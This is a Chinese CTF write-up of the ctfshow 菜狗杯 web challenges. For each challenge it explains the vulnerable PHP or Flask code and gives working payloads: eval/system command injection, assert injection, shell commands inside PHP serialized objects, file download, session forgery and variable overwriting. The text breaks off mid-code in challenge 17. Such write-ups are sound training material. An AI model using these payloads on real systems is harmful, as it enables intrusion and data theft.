【Loading 19/21】Web_ctfshow_WriteUp | _新手必刷_菜狗杯

1 - web签到

题目

分析

读代码:

 <?php
// 注释信息
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-11-10 17:20:38
# @Last Modified by:   h1xa
# @Last Modified time: 2022-11-11 09:38:59
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);        // 关闭错误报告
highlight_file(__FILE__);  // 当前文件高亮显示

// 取回名为“CTFshow-QQ群:”的cookie值
// -> 作为post请求的参数传入
// -> 作为get请求的参数传入
// -> 数组的 [6][0][7][5][8][0][9][4][4] 键作为get或post请求的参数传入
// -> 字符串按照php代码计算
eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);

代码对由“CTFshow-QQ群:”传入的经过一系列操作的参数不作过滤直接传入 eval 函数,可能存在命令执行漏洞。


首先尝试通过 system('ls'); 传入查询目录命令。

Burp Suite 拦截请求包:


选择“操作-更改请求方法”,将 get 请求更改为 post 请求:


  1. 向 “CTFshow-QQ群:” 传入 cookie 值,需要在表单中加入一行 Cookie: CTFshow-QQ%E7%BE%A4%3A=a,这一步将 a 作为 cookie 传入“CTFshow-QQ群:”。其中 CTFshow-QQ%E7%BE%A4%3A 是 “CTFshow-QQ群:” 经 URL 编码后的值。需要注意的是 Cookie 行与前面的字段之间不能有空行,否则会被看作 post 请求的参数传入。

  2. _POST 函数收到 _COOKIE 传入的 a 后,将 a 作为变量名接收 post 请求的传参,因此在数据包最后插入一行 a=b 作为 post 请求的参数,这一步将 b 作为参数传入 a。同理,传入的参数需要与前面的字段间留有空行。

  3. _GET 函数收到 _POST 函数传入的 b 后,将 b 作为变量名接收 get 请求的传参,因此在数据包首行 POST / 后插入 ?b=c 作为 get 请求的参数,这一步将 c 作为参数传入 b。

  4. _REQUEST 函数收到 __GET 函数传入的 c 后,将 c 作为变量名接收 get 或 post 请求的传参,这里我们通过 post 请求传参。在第 2 步插入的 a=b 后加入 &c[6][0][7][5][8][0][9][4][4]=system('ls');

  5. eval 函数接收到 system('ls'); 后将字符串按 php 代码执行,对当前目录进行查询。


查询结果(因为环境超时了所以 url 内容有点不一样不用在意:


逐级而上查询目录,在第三级父目录发现 flag 文件:


打印文件内容,得到 flag:

Flag

ctfshow{b3e0d59d-dca6-48bd-a6a1-ec899be4d155}

参考

PHP 教程-W3school
PHP 教程-菜鸟教程
使用$_COOKIE读取Cookie (PHP)-_xw2018-CSDN
web安全基础大佬三天速成之burpsuite与cookie、session篇-https://www.jianshu.com/p/056698de84b4-简书
get_post 攻防世界 使用burpsuite发送GET、POST请求-Zhuoqian_1-CSDN
Post请求的3种编码格式:application/x-www-form-urlencoded和multipart/form-data和application/json_post application-Hello_Error-CSDN
HTTP协议中的Content-Length-夜已如歌_ok-CSDN
为什么http请求的content-length为0 实体是有内容的-WOFY-博客园
burpsuite抓包GET传参转为POST传参-Sk1y-CSDN

2 - web2 c0me_t0_s1gn

题目

分析

大致翻译一下:

登录
Hi~Ctfer
书页里藏着一些东西,你需要用上帝之眼去寻找

要找东西是吧?F12 召唤 html 文件:


找到前半部分 flag。根据提示 can can word 控制台:


按提示输入函数,得到后半部分 flag:

Flag

ctfshow{We1c0me_t0_jo1n_u3_!}

3 - 我的眼里只有$

题目

分析

这个 php 文件看着不完整,先分析一下现有代码:

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-11-10 17:20:38
# @Last Modified by:   h1xa
# @Last Modified time: 2022-11-11 08:21:54
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);        // 关闭错误报告
extract($_POST);           // 导入 post 请求传入的变量到当前符号表
// 将 “_” 变量的值 的变量的值 …… 的变量的值作为 php 代码计算
eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);
highlight_file(__FILE__);  // 当前文件高亮显示

根据代码,我们需要通过 post 请求传入参数,并在 eval 函数中作为下一级 “$” 的变量名接受参数传入……共 36 级。


传入命令 system('ls');_=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=aa&aa=bb&bb=cc&cc=dd&dd=ee&ee=ff&ff=gg&gg=hh&hh=ii&ii=system('ls');


发现可以成功运行。再尝试查询根目录的文件,传入命令 system('ls /');
_=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=aa&aa=bb&bb=cc&cc=dd&dd=ee&ee=ff&ff=gg&gg=hh&hh=ii&ii=system('ls /');


发现 flag 所在文件 f1agaaa,用 system('cat /f1agaaa'); 打开文件:
_=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=aa&aa=bb&bb=cc&cc=dd&dd=ee&ee=ff&ff=gg&gg=hh&hh=ii&ii=system('cat /f1agaaa');

得到 flag。

Flag

ctfshow{4ab65f21-7093-40ea-bcdf-469c1e1004fc}

参考

PHP命名规范-Trevor Lan-CSDN

4 - 抽老婆

题目

分析

抽老婆的 html 文件“下载老婆”按钮有一条注释:


按 href 的参数向 file 传点别的试试:


欸嘿!看来早有准备。更换输入,得到报错信息:


好!WP 解法!

从 href 的参数可以看出这里可能存在任意文件下载漏洞,通过逐级目录尝试我们可以把报错中的文件都下载下来(这里其实只需要下载有 source 函数的 /app/app.py):


打开后发现源码位于 /app/app.py 路径的文件中,分析一下:

# !/usr/bin/env python
# -*-coding:utf-8 -*-

"""
# File       : app.py
# Time       :2022/11/07 09:16
# Author     :g4_simon
# version    :python 3.9.7
# Description:抽老婆,哇偶~
"""

from flask import *
import os
import random
from flag import flag

#初始化全局变量
app = Flask(__name__)
app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'  # 配置密钥

@app.route('/', methods=['GET'])  # 当前路径(? get传参
def index():  
    return render_template('index.html')  # 显示index.html模板


@app.route('/getwifi', methods=['GET'])  # /getwifi路径get传参
def getwifi():
    session['isadmin']=False  # session中isadmin的值被设置为false
    wifi=random.choice(os.listdir('static/img'))  # 从static/img文件夹中随机选择一条数据返回给wifi
    session['current_wifi']=wifi  # session中的current_wifi被设置为随机选中的文件名
    return render_template('getwifi.html',wifi=wifi)  # 显示getwifi.html模板,其中wifi被设置为随机选中的文件名



@app.route('/download', methods=['GET'])  # /download路径get传参
def source(): 
    filename=request.args.get('file')  # get请求传给file的参数赋给filename
    if 'flag' in filename:  # 如果filename里包含字符串“flag”
        return jsonify({"msg":"你想干什么?"})  # 按json格式返回
    else:  # 否则
        return send_file('static/img/'+filename,as_attachment=True)  # 访问static/img/'+filename路径并自动下载文件


@app.route('/secret_path_U_never_know',methods=['GET'])  # /secret_path_U_never_know路径get传参
def getflag():
    if session['isadmin']:  # 如果session中isadmin的值为true
        return jsonify({"msg":flag})  # 按json格式返回flag
    else:  # 否则
        return jsonify({"msg":"你怎么知道这个路径的?不过还好我有身份验证"})  # 按json格式返回



if __name__ == '__main__':
    app.run(host='0.0.0.0',port=80,debug=True)  # 运行应用程序,监听任意ip地址的请求,端口80,出错报错


源码第 47 行为 flag 提供了一个输出,需要 session['isadmin'] 为 true,但 session 在源码 28 行 getwifi 被设置为 false。因为 getwifi 是抽老婆的页面所以尝试在抽老婆之前访问 /secret_path_U_never_know,报错:


猜测是抽老婆之后才会产生 session,所以必须得到 session['isadmin'] 为 true 的 session 值后再访问 /secret_path_U_never_know。

大佬的脚本 得到 session['isadmin'] 为 true 的 session 值:


Burp Suite 内置浏览器访问 /secret_path_U_never_know,拦截请求包将 cookie 替换为刚刚得到的 session 值后放行:


得到 flag:

Flag

ctfshow{7e23cfd9-92dc-40e3-82a8-6da92686ed42}

参考

【flask】flask项目配置 app.config-wangju003-博客园
Flask render_template函数-TCatTime-CSDN
Python学习:random模块下的choices()函数详解-景墨轩-CSDN
Python os.listdir() 方法-菜鸟教程
flask.send_file实现文件下载、文件传输和二进制流传输-北溪入江流-CSDN
任意文件读取/下载漏洞总结-未完成的歌~-CSDN
web基础---->session的使用-huhx-博客园
CTFshow-菜狗杯-flask session伪造-抽老婆-白泽安全-CSDN
ctfshow-菜狗杯-抽老婆-Don't know-CSDN
项目概览-flask-session-cookie-manager-GitCode
flask session伪造admin身份-white_&_black-CSDN
127.0.0.1-百度百科
一文讲解JWT用户认证全流程-头文件-知乎

5 - 一言既出

题目

分析

 <?php
highlight_file(__FILE__);           // 当前文件高亮显示
include "flag.php";                 // 包含文件flag.php
if (isset($_GET['num'])){           // 如果get请求传入的变量num值存在且非NULL
    if ($_GET['num'] == 114514){    // 如果get请求传入的变量num值等同于114514
        // 如果get请求传入的num值转为十进制不等于1919810则输出“一言既出,驷马难追!”后结束脚本
        assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
        echo $flag;                 // 否则输出flag
    } 
} 



这 homo 怎么无处不在啊(悲


根据代码,我们需要通过 get 请求向 num 传入(弱比较)等同于 114514 的参数,参数转为十进制后等于 1919810 且 num 不接受非空数组……(小脑萎缩


WP 解法,因为代码对 get 传入的参数没有过滤,所以可以通过传参直接闭合 assert 函数的括号并注释到后面的条件等。


构造参数 ?num=114514);// 时语句变为 assert("intval 114514);//)==1919810") or die("一言既出,驷马难追!");,提交得到 flag:


还有一种比较狡猾的方法,构造 ?num=114514);(1919810 使语句成立,从而得到 flag:


当然 WP 也提供了正面迎击的写法,构造参数 ?num=114514%2B(1919810-114514),其中 %2B 是 “+” 的 URL 编码。因为 GET 方式会将表单中的数据以 URL 字符串的形式发送给服务器,故 if ($_GET['num'] == 114514) 等同于 if('114514+(1919810-114514)' == 114514),php 将加号前的 114514 与等号后的值进行比较,判断为真。

而 intval 函数会对 '114514+(1919810-114514)' 字符串进行计算后获取其(一般情况下是)十进制整数值,即 1919810 从而通过判断。


更多解法可以参考大佬的 WP:ctfshow菜狗 web 一言既出-hypocrite2-CSDN

Flag

ctfshow{fe93bd9a-de30-4ae3-b54f-233f08620874}

参考

PHP intval() 函数-菜鸟教程
PHP: assert-Manual
ctfshow菜狗 web 一言既出-hypocrite2-CSDN
php - $_GET和\$_POST里面要不要加引号?-SegmentFault 思否
使用$_GET[]获取表单数据(PHP)-_xw2018-CSDN
PHP弱类型比较总结-baynk-CSDN

6 - 驷马难追

题目

分析

 <?php
highlight_file(__FILE__);     // 当前文件高亮显示
include "flag.php";           // 包含文件flag.php
if (isset($_GET['num'])){     // 如果get请求传入的num值存在且非空
    // 如果get请求传入的num值与114514弱比较相等且check函数返回为真
    if ($_GET['num'] == 114514 && check($_GET['num'])){
        // 如果get请求传入的num值转为十进制不等于1919810则输出“一言既出,驷马难追!”后结束脚本
        assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");      
        echo $flag;  // 输出flag
    } 
} 

function check($str){
  // 正则匹配str中的小写字母、`;`符号、`(`符号和`)`符号,若未匹配到则返回true,否则返回false 
  return !preg_match("/[a-z]|\;|\(|\)/",$str);
} 

这题在 check 函数中对输入参数进行了一个正则过滤,把前一题中闭合函数括号并注释掉后面语句的方法给规避掉了,但我们仍可采用对传入参数加上差值的方法通过 if 的条件判断。


因为这题过滤掉了括号,我们可以将括号去掉,或者对差值进行计算后再传入。构造 payload:?num=114514%2B1805296

得到 flag。

Flag

ctfshow{4a4c9d27-271b-42e6-a38d-9ee6fd927e5d}

参考

正则表达式–教程-菜鸟教程

7 - TapTapTap

题目

分析

通过第 21 关后会得到一个 flag 的路径:


按路径打开文件得到 flag:


或者可以直接查看 js 文件,在 514 行有一条 if 语句判断通关大于 20 时输出一串 base64 字符串的解码文本:


解码也可得到路径内容:

Flag

ctfshow{23190f75-11cf-4677-a79f-908989e32e1b}

8 - Webshell

题目

分析

 <?php 
    error_reporting(0);   // 关闭错误报告

    class Webshell {      // Webshell类
        public $cmd = 'echo "Hello World!"';  // 公有变量cmd为字符串echo "Hello World!"

        public function __construct() {       // 公有构造函数,创建新对象前调用
            $this->init();                    // 变量this调用init函数
        }

        public function init() {              // 公有函数init
            // 如果在变量this调用的cmd中未匹配到由大写或小写字母组成的子串“flag”
            if (!preg_match('/flag/i', $this->cmd)) {
                $this->exec($this->cmd);      // 变量this调用exec函数 传入this调用cmd的返回值
            }
        }

        public function exec($cmd) {          // 公有函数exec
            $result = shell_exec($cmd);       // 变量result接受cmd执行shell命令返回的字符串形式
            echo $result;                     // 输出result
        }
    }

    if(isset($_GET['cmd'])) {                 // 如果get请求传入的cmd值存在且非空
        $serializecmd = $_GET['cmd'];         // 变量serializecmd接收get请求传入的cmd值
        // 变量unserializecmd接收变量serializecmd反序列化的结果
        $unserializecmd = unserialize($serializecmd);
        $unserializecmd->init();              // 变量unserializecmd调用init函数
    }
    else {                                    // 否则
        highlight_file(__FILE__);             // 高亮显示当前文件
    }

?> 

代码允许我们传入一条序列化的 shell 命令,且命令中不能出现子串 “flag”(大小写不敏感)。代码接收命令后输出运行结果。


首先我们尝试向 cmd 传入 ls 命令查询当前目录下的文件,既然是由 shell_exec 函数处理命令就不需要使用 system() 了。

构造代码用于输出序列化结果:

<?php
    class Webshell {
        public $cmd = 'echo "Hello World!"';

        public function __construct() {
            $this->init();
        }

        public function init() {
            if (!preg_match('/flag/i', $this->cmd)) {
                $this->exec($this->cmd);
            }
        }

        public function exec($cmd) {
            $result = shell_exec($cmd);
            echo $result;
        }
    } 
    
    // 实例化一个Webshell类
    $test = new Webshell();
    // (?)因为cmd是public类型的变量,需要专门对test调用的cmd传参
    // (?)如果直接在实例化时传参,参数会被'echo "Hello World!"'覆盖
    $test->cmd = 'ls';
    echo serialize($test);
?>

运行得到序列化值 O:8:"Webshell":1:{s:3:"cmd";s:2:"ls";}


将序列化结果传入 cmd 得到 flag 文件名:


因为文件名含有字符串 flag,按 init 函数的过滤规则不能直接 cat flag.php,这里采用模糊匹配 cat f* 打开唯一符合条件的文件 flag.php,序列化值为 O:8:"Webshell":1:{s:3:"cmd";s:6:"cat f*";},在 html 文件中找到 flag:

或者使用 tac 命令按行逆序输出结果:


使用 cat 命令打开文件无法直接输出文件内容的原因是:浏览器只获取服务器生成的 html 文件,而 flag 文件是 php 文件,浏览器无法直接识别 php 文件,只能将其转换为注释。


同理,当我们执行 cat * 命令,浏览器本应输出 flag.php 和 index.php 文件时输出的却是 index.php 文件的一部分:

是因为 index 中的 “>” 符号被浏览器识别为注释终止的符号,使得剩下的部分被直接输出:

Flag

ctfshow{d161873a-1d38-41bd-8bd5-064f96d8f2a2}

参考

PHP中private、public、protected的区别详解-周伯通之草堂-博客园
PHP: 构造函数和析构函数-Manual
PHP中的符号 ->、=> 和 :: 详解-深夜程序猿-CSDN
PHP: shell_exec-Manual
正则表达式–教程 | 菜鸟教程
Linux命令之cat和tac篇-南丘xf-CSDN
shell模糊匹配与正则详解-小雨淅淅o0-博客园
ctfshow菜狗 web webshell-hypocrite2-CSDN
php-PHP 在 HTML 中被注释掉-SegmentFault 思否

9 - 化零为整

题目

分析

 <?php

highlight_file(__FILE__);    // 当前文件高亮显示
include "flag.php";          // 包含文件flag.php

$result='';                  // result字符串变量初始化为空

for ($i=1;$i<=count($_GET);$i++){  // 遍历get请求参数的元素
    if (strlen($_GET[$i])>1){      // 如果存在长度大于1的元素
        die("你太长了!!");        // 输出“你太长了”并结束脚本
        }
    else{                          // 否则
    $result=$result.$_GET[$i];     // result字符串末尾拼接该元素
    }
}

if ($result ==="大牛"){  // 如果result字符串严格等于“大牛”
    echo $flag;          // 输出flag
}


根据代码内容,我们需要通过get请求传入字符串“大牛”,但如果直接传入“大牛”会无法通过 if 条件判断。因为 1 个汉字在 UTF-8 编码下占 3 个字节,在 GB2312 编码下占 2 个字节。因此我们需要对字符串进行 url 编码并逐字节传入。


构造 payload ?1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B 提交:

得到 flag

Flag

ctfshow{3268d9ac-c9e0-4c08-b9e6-b29e4a85cf56}

参考

玩转PHP(一)---php中处理汉字字符串长度:strlen和mb_strlen-光光-Leo-CSDN
URL编码、字符集-chinusyan-CSDN

10 - 无一幸免

题目

分析

 <?php
include "flag.php";        // 包含文件flag.php
highlight_file(__FILE__);  // 当前文件高亮显示

if (isset($_GET['0'])){    // 如果get请求传给0的值存在且非空
    $arr[$_GET['0']]=1;    // arr数组传入参数位置的值赋为1
    if ($arr[]=1){         // 向arr数组参数的下一个位置赋1
        die($flag);        // 如果成功,输出flag并退出脚本
    }
    else{
        die("nonono!");    // 如果失败,输出nonono!并退出脚本
    }
}

这题向 0 传 int 范围内的参数(32 位是 \(0\) ~ \(2^{31}-1\),64 位是 \(0\) ~ \(2^{63}-1\))即可。


传个 0:


(挠头

Flag

ctfshow{df6b3038-9372-4938-a680-ef6117dabb45}

参考

php数组arr[]省略键名 给变量名加上一对空的方括号 则取当前最大整数索引值,新的键名将是该值加上 1-梓沂-CSDN

10.1 - 无一幸免_FIXED

题目

分析

 <?php
include "flag.php";        // 包含文件flag.php
highlight_file(__FILE__);  // 当前文件高亮显示

if (isset($_GET['0'])){    // 如果get请求传给0的值存在且非空
    $arr[$_GET['0']]=1;    // arr数组传入参数位置的值赋为1
    if ($arr[]=1){         // 向arr数组参数的下一个位置赋1
        die("nonono!");    // 如果成功,输出nonono!并退出脚本
    }
    else{
        die($flag);        // 如果失败,输出flag并退出脚本
    }
}
?>

这题的条件与上一题相反,因此我们输入的参数值需要刚好等于数组可以设定的最大范围。
如果小于则 if 条件为 true,输出 no no no;如果大于则 $arr[$_GET['0']]=1; 失败,$arr[]=1 向 arr[0] 成功赋值,条件判断为 true,输出 no no no。

payload: ?0=9223372036854775807

Flag

ctfshow{6b23c595-aa64-4e03-a69d-93897bd4b65e}

11 - 传说之下(雾)

题目

分析

是贪吃蛇!要求是拿到 2077 分。挂了三次后确信是我不擅长的领域。


先看看 js 文件。这里用的是火狐浏览器,在 275 行找到加分代码打上断点:


开始游戏让贪吃蛇吃一个苹果。此时页面暂停,将打断点的代码复制到控制台,将 1 改为任意大于 2076 的数(输入 2076 会在下次得分时得到 flag)并提交:


恢复程序运行,再吃一个苹果,程序再次中断。在控制台拿到 flag


或者在第 this.score = 0 后的 73 行打一个断点:


刷新页面让 this.score = 0 语句被执行,在控制台将 this.score 更改为任意大于 2076 的数并提交:


确认 score 的值已更改:


开始游戏,吃一个苹果,在控制台得到 flag。

Flag

ctfshow{Under0ph1di4n_n0!_...underrrrrta1e}

参考

使用 firefox 运行时更改 javascript 变量值-shida_csdn-CSDN
是否可以在浏览器中修改Javascript代码中的变量的值?-黑猫-知乎

【未完成】12 - 算力超群

题目

分析

打开 F12 看了一圈没发现什么。尝试计算 1/0,控制台出现报错:


访问报错的 url,显示报错信息:


根据源码内容,向 /_calculate 传入的 number1 和 number2 不能为空,operator 必须为 +-*/ 运算符之一。当 operator 为 / 时,number2 会先被转换为浮点数后再转为字符串。


因为 return 直接接收 eval 函数的返回值,猜测可以通过向 number1 和 number2 传入命令后通过返回值得到命令结果。


查了 WP 了解到这题考察沙箱逃逸,特征是参数经过 eval() 函数且对参数的输入存在限制。


本题有两种解法。一种采用反弹 shell 连接后拿 flag,另一种直接导入 os 模块后读取目录找到 flag 文件并输出(即命令执行漏洞)。


因为还没看懂使用两种方法的原因,本题先搁置,两种方法都放在参考部分了。

参考

ctfshow-菜狗杯-web-Muneyoshi-博客园
ctfshow菜狗杯-b1xcy's blog
import os-hui shan-CSDN
python中__import__与import的区别-南国他乡客-CSDN
Linux重定向用法详解-昕儿妈-知乎
NC工具的使用说明教程-Xysoul-CSDN

【未完成】13 - 算力升级

题目

分析

有源码,看看

# !/usr/bin/env python
# -*-coding:utf-8 -*-
"""
# File       : app.py
# Time       :2022/10/20 15:16
# Author     :g4_simon
# version    :python 3.9.7
# Description:算力升级--这其实是一个pyjail题目
"""
from flask import *
import os
import re,gmpy2 
import json
#初始化全局变量
app = Flask(__name__)
pattern=re.compile(r'\w+')
# @开头的是装饰器
@app.route('/', methods=['GET'])  # index
def index():  
    return render_template('index.html')
@app.route('/tiesuanzi', methods=['POST'])  # 对/tiesuanzi目录发送post请求
def tiesuanzi():
    code=request.form.get('code')
    for item in pattern.findall(code):#从code里把单词拿出来
        if not re.match(r'\d+$',item):#如果不是数字
            if item not in dir(gmpy2):#逐个和gmpy2库里的函数名比较
               return jsonify({"result":1,"msg":f"你想干什么?{item}不是有效的函数"})
    try:
        result=eval(code)
        return jsonify({"result":0,"msg":f"计算成功,答案是{result}"})
    except:
        return jsonify({"result":1,"msg":f"没有执行成功,请检查你的输入。"})
@app.route('/source', methods=['GET'])  # 对/source目录发送get请求
def source():  
    return render_template('source.html')
if __name__ == '__main__':  # main
    app.run(host='0.0.0.0',port=80,debug=False)  # 运行应用程序,监听任意ip地址的请求,端口80,出错不报错

14 - easyPytHon_P

题目

分析

from flask import request               # 导入函数文件flask中的request模块
cmd: str = request.form.get('cmd')      # 从表单获取cmd的值以字符串类型赋给cmd。str起类型提示作用,非强制
param: str = request.form.get('param')  # 从表单获取param的值以字符串类型赋给param。
# ------------------------------------- Don't modify ↑ them ↑! But you can write your code ↓
import subprocess, os                   # 导入subprocess和os模块
if cmd is not None and param is not None:  # 如果cmd非空且param非空
    try:                                # 尝试
        # 启动一个新进程,在当前工作目录下执行“(cmd值的前三个字符) param __file__”命令(__file__表示当前文件),命令执行限时5秒,返回值赋给tVar
        tVar = subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5)
        # 打印“Done!”
        print('Done!')
    except subprocess.TimeoutExpired:   # 如果因执行超时而失败
        # 打印“Timeout!”
        print('Timeout!')
    except:                             # 其他原因失败
        # 打印“Error!”
        print('Error!')
else:                                       # 如果cmd为空或param为空
    # 打印“No Flag!”
    print('No Flag!')

代码需要我们向 cmd 和 param 传入参数,随后在当前工作目录下执行命令。


先看看当前目录下的所有文件,执行命令 ls -a __file__。因为 cmd 和 param 接收参数使用的是 request.form.get,我们需要通过 post 请求以 multipart/form-data 数据类型传入参数 cmd=ls&param=-a


当前只有一个 py 文件。尝试查看根目录,传入参数 cmd=ls&param=./


发现根目录存在 flag 文件,打开 cmd=cat&param=./flag.txt


拿到 flag。

Flag

ctfshow{0f73446c-0f38-47c2-8c85-edc4314958a0}

参考

python中from...import...的用法和讲解-rubysxl-CSDN
flask 获取GET和POST请求参数(全)-冰__蓝-CSDN
multipart_form-data 类型HTTP请求详解-Harlan-知乎
python form-data-mob64ca12d36217-51CTO
Python中变量名后加冒号“:”以及函数后面的箭头“->”含义-Dust_Evc-CSDN
Python3 subprocess_菜鸟教程
Python os.getcwd() 方法_菜鸟教程

15 - 遍地飘零

题目

分析

 <?php
include "flag.php";        // 包含文件flag.php
highlight_file(__FILE__);  // 当前文件高亮显示

// 变量zeros赋值为字符串000000000000000000000000000000
$zeros="000000000000000000000000000000";

foreach($_GET as $key => $value){  // 遍历get请求传入的数组,依次把键赋给key,值赋给value
    $$key=$$value;                 // 把以值内容为变量名的值赋给以键内容为变量名的值
}

// 如果变量flag的值为字符串000000000000000000000000000000
if ($flag=="000000000000000000000000000000"){
    echo "好多零";                          // 打印“好多零”
}else{                                     // 否则
    echo "没有零,仔细看看输入有什么问题吧";    // 打印“没有零,仔细看看输入有什么问题吧”
    var_dump($_GET);                       // 输出get请求传入数组的相关信息
}

显然这题给的源码并不完整,目前看来唯一的输出是 var_dump($_GET);。foreach 函数将 get 请求传入的数组 key 与 value 一一对应。


尝试对 zeros 变量传入 0,代码第 8 行会去寻找以 0 为名的变量。因为找不到所以报错并直接将 0 赋给 zeros(?):


但 if 条件的判断中需要对 flag 的值进行判断,这里没有产生报错说明源码中存在 flag 变量,因此我们需要得到 flag 变量的值。


由于最终仅输出 _GET 的相关信息,我们可以进行变量覆盖,将 flag 变量的值赋给 _GET 变量。将 get 传参 ?_GET=flag,通过 $_GET as $key => $value 使 _GET 与 flag 形成键值对,通过 $$key=$$value; 进行 $_GET=$flag; 将 flag 的值赋给 _GET。根据之前对 zeros 传入 0 的尝试,flag 变量的值显然不为 000000000000000000000000000000,if 语句判断后最终执行 var_dump($_GET); 输出变量 _GET 的值:


得到 flag。

Flag

ctfshow{a6273fc4-3efe-401a-b0ee-ab9dfb1b1195}

参考

PHP foreach()函数用法详解-ainy藏-CSDN
PHP $_GET 变量-菜鸟教程
PHP var_dump() 函数-菜鸟教程
CTF之php变量覆盖漏洞-nice_o-简书

16 - 茶歇区

题目

分析

要用 1024 个 FP 等比换到 114514 分明显不可能,看了一圈 js 文件也没找到啥。猜测和数据溢出有关。这题所用到的数据都是整数,猜测数据范围在 -9,223,372,036,854,775,808 到 9,223,372,036,854,775,807 之间。


分别尝试在五栏内输入超限数据,在前四栏中分别输入 19 个 9(9999999999999999999),发现矿泉水栏和火腿肠栏对输入数据有范围限制:


但仅在一栏输入 19 个 9,另一栏输入 18 个 9 则不受限制(19 位 9 瓶矿泉水和 18 位 9 根火腿肠):

(18 位 9 瓶矿泉水和 19 位 9 根火腿肠)


输入相同参数再提交一次:


同理,对饮料和面包两栏分别输入 18 个 9 和 19 个 9 两次也能拿到 flag:

且当前得分与 FP 余额都是上一种方式的 3 倍。


多次尝试后发现,第一次传入的参数需要满足其中一个物品的数量超过数据范围,其他数量在数据范围内且大于 1024(以 999,999,999,999,999,999 为例,传入其他参数的计算方式似乎不同),
得到的分数为 \(-9,223,372,036,854,775,808+(999,999,999,999,999,999+1)*本次未超限物品单个分数之和\)
当前 FP 余额在原有基础上增加 \(9,223,372,036,854,775,808-(999,999,999,999,999,999+1)*本次未超限物品单个分数之和\)

第二次传入同样的参数,得到的分数在原有基础上加了 \(-9,223,372,036,854,775,808+(999,999,999,999,999,999+1)*本次未超限物品单个分数之和\)
当前 FP 余额在原有基础上增加 \(-9,223,372,036,854,775,808-(999,999,999,999,999,999+1)*本次未超限物品单个分数之和\)


……虽然不知道为什么要算这个但总结下来就是一旦传入参数本身超过数据范围,因为分数的计算采用加法,得到的分数会将从右至左第 64 个比特位置为 1,其他位置为 0,之后再计算其他未超范围的合法数据;而 FP 余额的计算采用减法,得到的 FP 余额会先将从右至左第 64 个比特位置为 0,其他比特位置为 1,再计算其他合法数据。

参数 999,999,999,999,999,999 后多出来的 1 猜测也是内存中存储在这个变量之后的变量计算后的值超出数据范围产生的进位,若选用的参数不是 999,999,999,999,999,999 则可能不会出现多余的 1。


但如果向咖啡栏传入 \(999,999,999,999,999,999\)
得到的分数将会是 \((-9,223,372,036,854,775,808)*2+(9,999,999,999,999,999,999+1)\)
当前 FP 余额为 \(9,223,372,036,854,775,808*2-(9,999,999,999,999,999,999+1)+1024\)

这个乘 2 是哪来的真不知道了(挠头

Flag

ctfshow{cdecbe5d-ac96-4a62-bb3b-2ff0d1d21999}

参考

补码为80H,原码不就是10000000吗,第一位是符号位,这不就是零吗为什么是-128啊好兄弟们!-小李电子的回答-知乎

17 - 小舔田?

题目

分析

 <?php
include "flag.php";        // 包含文件flag.php
highlight_file(__FILE__);  // 当前文件高亮显示

class Moon{                // Moon类
    public $name="月亮";   // 公有变量name初始化为字符串“月亮”
    public function __toString(){    // 公有__toString魔术方法
        return $this->name;          // 返回该类的name变量可用于格式化打印
    }
    
    public function __wakeup(){      // 公有__wakeup魔术方法,反序列化之前调用
        echo "我是".$this->name."快来赏我";  // 打印“我是”+name变量+“快来赏我”
    }
}

class Ion_Fan_Princess{    // Ion_Fan_Princess类
    public $nickname="牛夫人";  // 公有变量nickname初始化为字符串“牛夫人”

    public function call(){    // 公有函数call
        global $flag;          // 全局变量flag
        // 如果nickname的值与字符串“小甜甜”相等
        if ($this->nickname=="小甜甜"){
            echo $flag;        // 输出flag
        }else{                 // 否则
            // 输出以下
            echo "以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家".$this->nickname."。\n";
            echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!\n";
        }
    }
    
    public function __toString(){  // 公有__toString魔术方法
        $this->call();          // 调用函数call
        // 返回10个tab拼nickname的值可用于格式化打印
        return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;
    }
}

// 如果get请求传入code值存在且非空
if (isset($_GET['code'])){
    unserialize($_GET['code']);  // 反序列化

}else{  // 否则
    $a=new Ion_Fan_Princess();  // 实例化一个Ion_Fan_Princess,变量a接收返回值
    echo $a;                    // 打印a
}

根据代码,得到 flag 需要运行 call 函数并满足 $this->nickname=="小甜甜" 条件,call 函数位于 Ion_Fan_Princess 类中。

代码最后的 if 语句若执行 else 部分则无法更改 nickname 的参数,因此需要通过 get 请求向 code 传入 Ion_Fan_Princess 类 nickname ="小甜甜"时的序列化结果。

Ion_Fan_Princess 类中的 __toString 魔术方法调用了 call 函数,代码最后的 if 语句没有直接触发 __toString 的地方。但 Moon 类中的 __wakeup 魔术方法中存在 echo 命令,我们可以通过 Moon 类的 name 变量调用 Ion_Fan_Princess 类触发类中的 __toString 魔术方法,以字符串方式输出 call 函数,从而得到 flag 内容。


构造序列化代码:

<?php
class Moon{
    public $name="月亮";
    public function __toString(){
        return $this->name;
    }
    
    public function __wakeup(){
        echo "我是".$this->name."快来赏我";
    }
}

class Ion_Fan_Princess{
    public $nickname="牛夫人";

    public function call(){
        global $flag;
        if ($this->nickname=="小甜甜"){
            echo $flag;
        }else{
            echo "以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家".$this->nickname."。\n";
